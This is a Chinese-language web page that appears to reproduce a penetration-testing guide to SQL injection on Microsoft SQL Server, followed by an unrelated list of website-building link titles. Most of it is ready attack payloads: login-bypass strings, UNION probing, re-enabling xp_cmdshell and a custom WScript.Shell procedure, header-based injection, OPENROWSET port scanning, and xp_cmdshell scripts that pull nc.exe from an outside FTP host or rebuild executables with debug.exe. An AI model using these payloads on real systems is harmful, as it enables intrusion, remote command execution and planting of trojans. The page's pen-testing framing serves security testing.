当前位置: 首页 > wzjs >正文

建设局工程网站个性化定制网站

建设局工程网站,个性化定制网站,推荐就业的培训机构,一般网站的服务器示例 1:在 GET 请求中测试 SQL 注入 最简单且有时最有效的情况是针对登录页面进行测试。当登录页面请求用户输入用户名和密码时,攻击者可以尝试输入以下字符串 “ or 11”(不包含双引号): https://vulnerable.web.ap…
示例 1:在 GET 请求中测试 SQL 注入

最简单且有时最有效的情况是针对登录页面进行测试。当登录页面请求用户输入用户名和密码时,攻击者可以尝试输入以下字符串 “' or '1'='1”(不包含双引号):

https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&Password='%20or%20'1'='1

如果应用程序正在使用动态 SQL 查询,并且该字符串将附加到用户凭证验证查询中,那么攻击者可能会成功登录应用程序。

示例 2:在 Get 请求中进行 SQL 注入以了解列数

为了了解目标表中存在多少列,攻击者可以构造如下请求:

https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--

示例 3:POST 请求中的 SQL 注入

在 POST 请求中进行 SQL 注入时,攻击者可以修改请求的内容。例如,注入的 HTTP POST 内容如下:

email=%27&whichSubmit=submit&submit.x=0&submit.y=0

一个完整的 POST 示例(https://vulnerable.web.app/forgotpass.asp):

POST /forgotpass.asp HTTP/1.1

Host: vulnerable.web.app

[...]

Referer: http://vulnerable.web.app/forgotpass.asp

Content-Type: application/x-www-form-urlencoded

Content-Length: 50

email=%27&whichSubmit=submit&submit.x=0&submit.y=0

当在电子邮件字段中输入(单引号)字符时,可能会获得如下错误消息:

Microsoft OLE DB Provider for SQL Server error '80040e14'

Unclosed quotation mark before the character string '' '.

/forgotpass.asp, line 15

这些错误消息可以帮助攻击者分析应用程序的 SQL 查询构建方式。

示例 4:另一个(非常有效的)GET 示

攻击者可以通过 GET 请求获取应用程序的源代码,构造如下请求:

a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--

该请求会将登录页面的源代码复制到一个可访问的文件中。

示例 5:自定义 xp_cmdshell

所有描述 SQL Server 安全最佳实践的书籍和论文都建议在 SQL Server 2000 中禁用 xp_cmdshell(在 SQL Server 2005 中默认禁用)。然而,如果攻击者具有 sysadmin 权限(可以通过本地权限提升或暴力破解 sysadmin 密码获得),通常可以绕过此限制。

  • 在 SQL Server 2000 上
  • 如果 xp_cmdshell 已禁用,攻击者可以简单地注入以下代码:

sp_addextendedproc 'xp_cmdshell','xp_log70.dll'

  • 如果上述代码不起作用,意味着相关文件已被移动或删除。在这种情况下,攻击者需要注入以下代码:

CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) ASDECLARE @result int, @OLEResult int, @RunResult intDECLARE @ShellID intEXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUTIF @OLEResult <> 0 SELECT @result = @OLEResultIF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @WaitIF @OLEResult <> 0 SELECT @result = @OLEResultIF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)EXECUTE @OLEResult = sp_OADestroy @ShellIDreturn @result

这段代码由 Antonin Foller 撰写,它创建了一种新的使用方式,并且不会被默认禁用。在使用它之前,攻击者需要删除之前创建的(即使它不起作用),否则两个声明将冲突。

  • 在 SQL Server 2005 上
    xp_cmdshell 可以通过注入以下代码来启用:

master..sp_configure 'show advanced options',1reconfigure

master..sp_configure 'xp_cmdshell',1reconfigure

示例 6:利用 Referer /User - Agent 进行 SQL 注入

攻击者可以通过修改 HTTP 请求的 Referer 头部或 User - Agent 头部来执行任意 SQL 代码。

  • Referer 头部注入
    将 Referer 头部设置为:

Referer: https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--

这样就允许执行任意 SQL 代码。

  • User - Agent 头部注入
    将 User - Agent 头部设置为以下内容同样会允许执行任意 SQL 代码:

User - Agent: user_agent', 'some_ip'); [SQL CODE]--

示例 7:SQL Server 作为端口扫描器

在 SQL Server 中,OpenRowset 命令是一个非常有用的工具,渗透测试人员可以使用它在目标网络中扫描其他机器的端口。注入以下查询:

select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5','select 1')--

此查询将尝试连接到地址 x.y.w.z 的指定端口 p。如果端口关闭,将返回以下消息:

SQL Server does not exist or access denied

如果端口打开,则将返回以下错误之一:

General network error. Check your network documentation

OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error

当然,错误消息并不总是可用。如果是这种情况,攻击者可以使用响应时间来判断端口状态:使用封闭的端口,会发生超时(此示例中的 5 秒),而开放端口将立即返回结果。需要注意的是,SQL Server 2000 中默认情况下启用了 OpenRowset,但在 SQL Server 2005 中被禁用。

示例 8:可执行文件的上传

一旦攻击者可以使用 xp_cmdshell(无论是原生的还是自己修改过的),就可以轻松地将可执行文件上传到目标数据库服务器上。一个常见的选择是上传 netcat.exe,但任何木马都可以。

  • 使用 FTP 上传:
    如果允许目标启动 FTP 连接到渗透测试人员的计算机,攻击者只需要注入以下查询:

exec master..xp_cmdshell 'echo open ftp.tester.org > ftpscript.txt';--exec master..xp_cmdshell 'echo USER >> ftpscript.txt';--exec master..xp_cmdshell 'echo PASS >> ftpscript.txt';--exec master..xp_cmdshell 'echo bin >> ftpscript.txt';--exec master..xp_cmdshell 'echo get nc.exe >> ftpscript.txt';--exec master..xp_cmdshell 'echo quit >> ftpscript.txt';--exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--

此时将上传 nc.exe 并可以使用。

  • 绕过防火墙上传
        如果防火墙不允许使用 FTP,攻击者可以利用默认安装在所有 Windows 机器上的 Windows 调试器 debug.exe。Debug.exe 是可编写脚本的,并且能够通过执行适当的脚本文件来创建可执行文件。攻击者需要做的是将可执行文件转换为调试脚本(这是一个 100% 的 ASCII 文件),逐行上传它,最后调用 debug.exe。有几个工具可以创建这种调试文件(例如:Ollie Whitehouse 的 makescr.exe 和 toolcrypt.org 的 dbgtool.exe)。因此,攻击者可以用以下内容进行注入的查询:

exec master..xp_cmdshell 'echo [debug script line #1 of n] > debugscript.txt';--exec master..xp_cmdshell 'echo [debug script line #2 of n] >> debugscript.txt';--....exec master..xp_cmdshell 'echo [debug script line #n of n] >> debugscript.txt';--exec master..xp_cmdshell 'debug.exe < debugscript.txt';--

在这时,攻击者的可执行文件就可以在目标计算机上使用了。

http://www.dtcms.com/wzjs/839810.html

相关文章:

  • 沭阳做网站深圳网站设计灵点网络口碑好
  • 网站制作公司相关工作网站建设功能评价指标
  • 青海网站建设与维护网站建设的钱计入什么科目
  • 软件开发公司网站设计行业网站的特点
  • 广州自助网站推广制作wordpress浏览pdf
  • 怎样上网站dns解析不了网站制作技术方案
  • 网站横幅背景图片上海建设协会网站
  • 网站域名注册基本流程c 网站开发案例
  • 论坛网站开发的目的和意义企通互联的网站建设失败
  • 重新建设网站的申请报告电商网站建设流程图
  • 网站上怎么做动图腾讯云 一键wordpress
  • 初学者做网站河北省水利建设市场网站
  • 网站设计的公司设计怎么建立网站 个人
  • 部门网站建设注意事项站酷网官网
  • 长沙网站设计公司WordPress给分类页面伪静态
  • 永嘉网站优化手机4g建立网站
  • 企业服务网站建设方案腾讯网
  • 昌吉市建设局网站横沥网站设计
  • 手表价格网站新浪网页版入口
  • 官方微网站吗去除wordpress rss图标
  • 品牌营销型网站建设公司在线制作成品图片
  • 网站开发要网络销售公司名字大全
  • 环评登记表在哪个网站做wordpress怎么调用文章列表
  • 企业网站建设600元wordpress做第二个
  • 网站开发democ2c交易是什么意思
  • 网站建设外包公司容易被客户投诉吗wordpress 选择服务器
  • 河北响应式网站建设哪家有专业长春网站建设
  • 什么公司能做网站建设登封哪里有做网站的
  • 长春网站制作优势吉网传媒网络推广培训网
  • 东莞做网站公司电话瑞安企业网站建设